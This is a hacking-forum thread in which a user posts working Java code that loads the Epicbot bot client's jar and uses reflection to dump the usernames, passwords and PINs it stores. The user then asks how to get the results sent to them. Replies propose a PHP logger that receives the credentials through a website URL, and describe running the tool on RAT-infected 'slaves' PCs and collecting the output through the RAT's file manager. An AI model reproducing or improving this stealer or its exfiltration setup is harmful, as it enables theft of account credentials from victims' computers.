Help on this code, please?

ImSoPro

Onyx user!
Reputation
0
Code:
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.lang.reflect.ParameterizedType;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;

/**
 * 
 * @author Lil Str Kid
 * 
 */

public class EpicbotRecovery {

	/**
	 * The main method.
	 * @param args 
	 */
	public static void main(String[] args) {
		EpicbotRecovery epicbotRecovery = new EpicbotRecovery();
		if (epicbotRecovery.getAccountsDirectory().exists()) {
			try {
				epicbotRecovery.execute();
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	/**
	 * Executes the recovery task.
	 * @throws Exception
	 */
	public void execute() throws Exception {
		File accountsFile = new File(getAccountsDirectory(), "Path.txt");
		if (!accountsFile.exists()) {
			return;
		}
		BufferedReader in = new BufferedReader(new FileReader(accountsFile));
		String epicbotJarLocation = in.readLine();
		if (!new File(epicbotJarLocation).exists()) {
			return;
		}
		FieldSearcher fieldSearcher = new FieldSearcher(epicbotJarLocation);
		Map<String, Map<String, String>> treeMap = (Map<String, Map<String, String>>) fieldSearcher.getFoundField().get(null);
		for (Iterator<?> iter = treeMap.entrySet().iterator(); iter.hasNext();) {
			Map.Entry entry = (Map.Entry) iter.next();
			String username = (String) entry.getKey();
			Map<String, String> values = (Map<String, String>) entry.getValue();
			String password = values.get("password");
			String pin = values.get("pin");
			if (pin != null) {
				pin = ", Pin: " + pin;
			} else {
				pin = "";
			}
			if (!username.isEmpty() && !password.isEmpty()) {
				System.out.println("Username: " + username + ", Password: " + password + pin);
			}
		}
	}

	/**
	 * Gets the account directory.
	 * @return Epicbot account directory.
	 */
	public File getAccountsDirectory() {
		return new File(System.getenv("APPDATA"), "Epicbot" + File.separator + "Settings");
	}

	private class FieldSearcher extends ClassLoader {

		/**
		 * HashMap containing all the classes.
		 */
		private HashMap<String, byte[]> classes = new HashMap<String, byte[]>();
		
		/**
		 * The found field.
		 */
		private Field foundField;

		/**
		 * Initializes the class and starts the field searching process.
		 * @param path
		 * @throws Exception
		 */
		public FieldSearcher(String path) throws Exception {
			JarFile jf = new JarFile(path);
			Enumeration<JarEntry> entries = jf.entries();
			while (entries.hasMoreElements()) {
				JarEntry entry = entries.nextElement();
				String name = entry.getName();
				if (name.endsWith(".class")) {
					classes.put(name.substring(0, name.length() - 6).replace("/", "."), readAllBytes(jf.getInputStream(entry)));
				}
			}
			entries = jf.entries();
			while (entries.hasMoreElements()) {
				JarEntry entry = entries.nextElement();
				String name = entry.getName();
				if (name.endsWith(".class")) {
					parse(loadClass(name.substring(0, name.length() - 6).replace("/", ".")));
				}
			}
		}

		/**
		 * Check to see if field matches the required pattern.
		 * @param field
		 * @return true if field found otherwise false.
		 */
		private boolean getSignatureFound(Field field) {
			if (field.getType().getName().equals("java.util.Map")) {
				ParameterizedType pt;
				try {
					pt = (ParameterizedType) field.getGenericType();
				} catch (Exception ignored) {
					return false;
				}
				return pt.getActualTypeArguments().length == 2 && pt.getActualTypeArguments()[0].toString().equals("class java.lang.String") && pt.getActualTypeArguments()[1].toString().equals("java.util.Map<java.lang.String, java.lang.String>");
			}
			return false;
		}

		/**
		 * Class parsing and field checking which sets foundField variable when found.
		 * @param clazz
		 */
		private void parse(Class<?> clazz) {
			for (Field field : clazz.getDeclaredFields()) {
				if (Modifier.isStatic(field.getModifiers())) {
					if (getSignatureFound(field)) {
						foundField = field;
						foundField.setAccessible(true);
						break;
					}
				}
			}
		}

		@Override
		protected Class<?> findClass(String name) throws ClassNotFoundException {
			if (classes.containsKey(name)) {
				byte[] data = classes.remove(name);
				return super.defineClass(name, data, 0, data.length);
			}
			return super.findClass(name);
		}

		/**
		 * Reads the class data and returns it as a ByteArray.
		 * @param in
		 * @return The class to byte array.
		 * @throws IOException
		 */
		public byte[] readAllBytes(InputStream in) throws IOException {
			final ByteArrayOutputStream out = new ByteArrayOutputStream();
			int read;
			final byte[] data = new byte[4096];
			while ((read = in.read(data, 0, 4096)) != -1) {
				out.write(data, 0, read);
			}
			in.close();
			return out.toByteArray();
		}

		/**
		 * Gets the found field.
		 * @return The foundField variable.
		 */
		public Field getFoundField() {
			return foundField;
		}
	}
}

This code is working, but I want to add something to it:

That it will give the result*, or even email me the results.

*= Epicbot details (username/password).
 
I'm not pro at Java, and I don't know how emailing from it would work. But writing the output in something like a .txt and then having a simple app in .NET sending it to your email might be easier. But using a PHP script to write it in a .txt file in a website might be even easier and done in Java only, probably even more secure.
I'm learning PHP (I'm nooby) and it would go something like:

Code:
<php
$user = $_GET["user"];
$pw = $_GET["pw"];
file_put_contents("log.txt", $user + " " + $pw);
?>

And all you'd have to do is make something like a webrequest/client in it and "go" to http://website.com/script.php?user=OUTPUTUSER&pw=OUTPUTPASSWORD

Again, I'm still learning it and I'm not too good, and I wrote this with my phone without any syntax highlighting so I might be wrong somewhere. @"Chewbaka" will be more helpful than me though.
 
Daniel said:
I'm not pro at Java, and I don't know how emailing from it would work. But writing the output in something like a .txt and then having a simple app in .NET sending it to your email might be easier. But using a PHP script to write it in a .txt file in a website might be even easier and done in Java only, probably even more secure.
I'm learning PHP (I'm nooby) and it would go something like:

Code:
<php
$user = $_GET["user"];
$pw = $_GET["pw"];
file_put_contents("log.txt", $user + " " + $pw);
?>

And all you'd have to do is make something like a webrequest/client in it and "go" to http://website.com/script.php?user=OUTPUTUSER&pw=OUTPUTPASSWORD

Again, I'm still learning it and I'm not too good, and I wrote this with my phone without any syntax highlighting so I might be wrong somewhere. @"Chewbaka" will be more helpful than me though.

Yeah, that's PHP and too bad I have no idea how to add an emailing method in this Java code.

Thanks for the help and I will wait for @"Chewbaka".
 
Did you grab this code from the Java section on HF? I'm pretty sure I saw this exact code earlier. Since I assume you would be executing this on slaves PC's you could make it write the details to a .txt file in a random folder on their computer and then go download it from the RATs file manager.
 
Adam said:
Did you grab this code from the Java section on HF? I'm pretty sure I saw this exact code earlier. Since I assume you would be executing this on slaves PC's you could make it write the details to a .txt file in a random folder on their computer and then go download it from the RATs file manager.

Yep, I searched it and I found this code. How abouts would I let it write the details in a .txt file?
 
ImSoPro said:
Adam said:
Did you grab this code from the Java section on HF? I'm pretty sure I saw this exact code earlier. Since I assume you would be executing this on slaves PC's you could make it write the details to a .txt file in a random folder on their computer and then go download it from the RATs file manager.

Yep, I searched it and I found this code. How abouts would I let it write the details in a .txt file?

I know how to do that in c++, but I don't know if it is the same in Java. When I get home I will see about helping you with this unless someone else helps you before then.
 
ImSoPro said:
Adam said:
Did you grab this code from the Java section on HF? I'm pretty sure I saw this exact code earlier. Since I assume you would be executing this on slaves PC's you could make it write the details to a .txt file in a random folder on their computer and then go download it from the RATs file manager.

Yep, I searched it and I found this code. How abouts would I let it write the details in a .txt file?

Such a simple question can be answered with Google :)


I'm guessing you can just compile that piece of code, put it somewhere in the slaves computer, and use remote CMD to open it, I'm pretty sure it will tell you the results.
 
Deathcrow said:
ImSoPro said:
Adam said:
Did you grab this code from the Java section on HF? I'm pretty sure I saw this exact code earlier. Since I assume you would be executing this on slaves PC's you could make it write the details to a .txt file in a random folder on their computer and then go download it from the RATs file manager.

Yep, I searched it and I found this code. How abouts would I let it write the details in a .txt file?

I know how to do that in c++, but I don't know if it is the same in Java. When I get home I will see about helping you with this unless someone else helps you before then.

Thanks man!

slack3r said:

Mhm, not sure if this could help since the first link will just open a connection which is a website. And the second is PHP.

Daniel said:
ImSoPro said:
Adam said:
Did you grab this code from the Java section on HF? I'm pretty sure I saw this exact code earlier. Since I assume you would be executing this on slaves PC's you could make it write the details to a .txt file in a random folder on their computer and then go download it from the RATs file manager.

Yep, I searched it and I found this code. How abouts would I let it write the details in a .txt file?

Such a simple question can be answered with Google :)


I'm guessing you can just compile that piece of code, put it somewhere in the slaves computer, and use remote CMD to open it, I'm pretty sure it will tell you the results.



Well, I have to compile it first to a .jar, or whatever.
 
By the looks of it, it checks to see whether there's an EpicBot directory/folder on the system and if there is, it prints out any and all account details stored.
In saying that, why would you need to send it to your email?

(Correct me if I'm wrong, I only had a quick glance).
 
Storm said:
By the looks of it, it checks to see whether there's an EpicBot directory/folder on the system and if there is, it prints out any and all account details stored.
In saying that, why would you need to send it to your email?

(Correct me if I'm wrong, I only had a quick glance).

That is true and I don't need it to send emails. I have got it to work.

1) I compiled the code to a .jar
2) Then I open CMD with the following command:

Code:
java -jar C:\PathToCode.jar

3) Username/password/pin show up in CMD.
 
ImSoPro said:
Storm said:
By the looks of it, it checks to see whether there's an EpicBot directory/folder on the system and if there is, it prints out any and all account details stored.
In saying that, why would you need to send it to your email?

(Correct me if I'm wrong, I only had a quick glance).

That is true and I don't need it to send emails. I have got it to work.

1) I compiled the code to a .jar
2) Then I open CMD with the following command:

Code:
java -jar C:\PathToCode.jar

3) Username/password/pin show up in CMD.

You could also run the .class file directly:
Code:
java EpicbotRecovery
I wouldn't bother with a jar, but that's just me.
 
Back
Top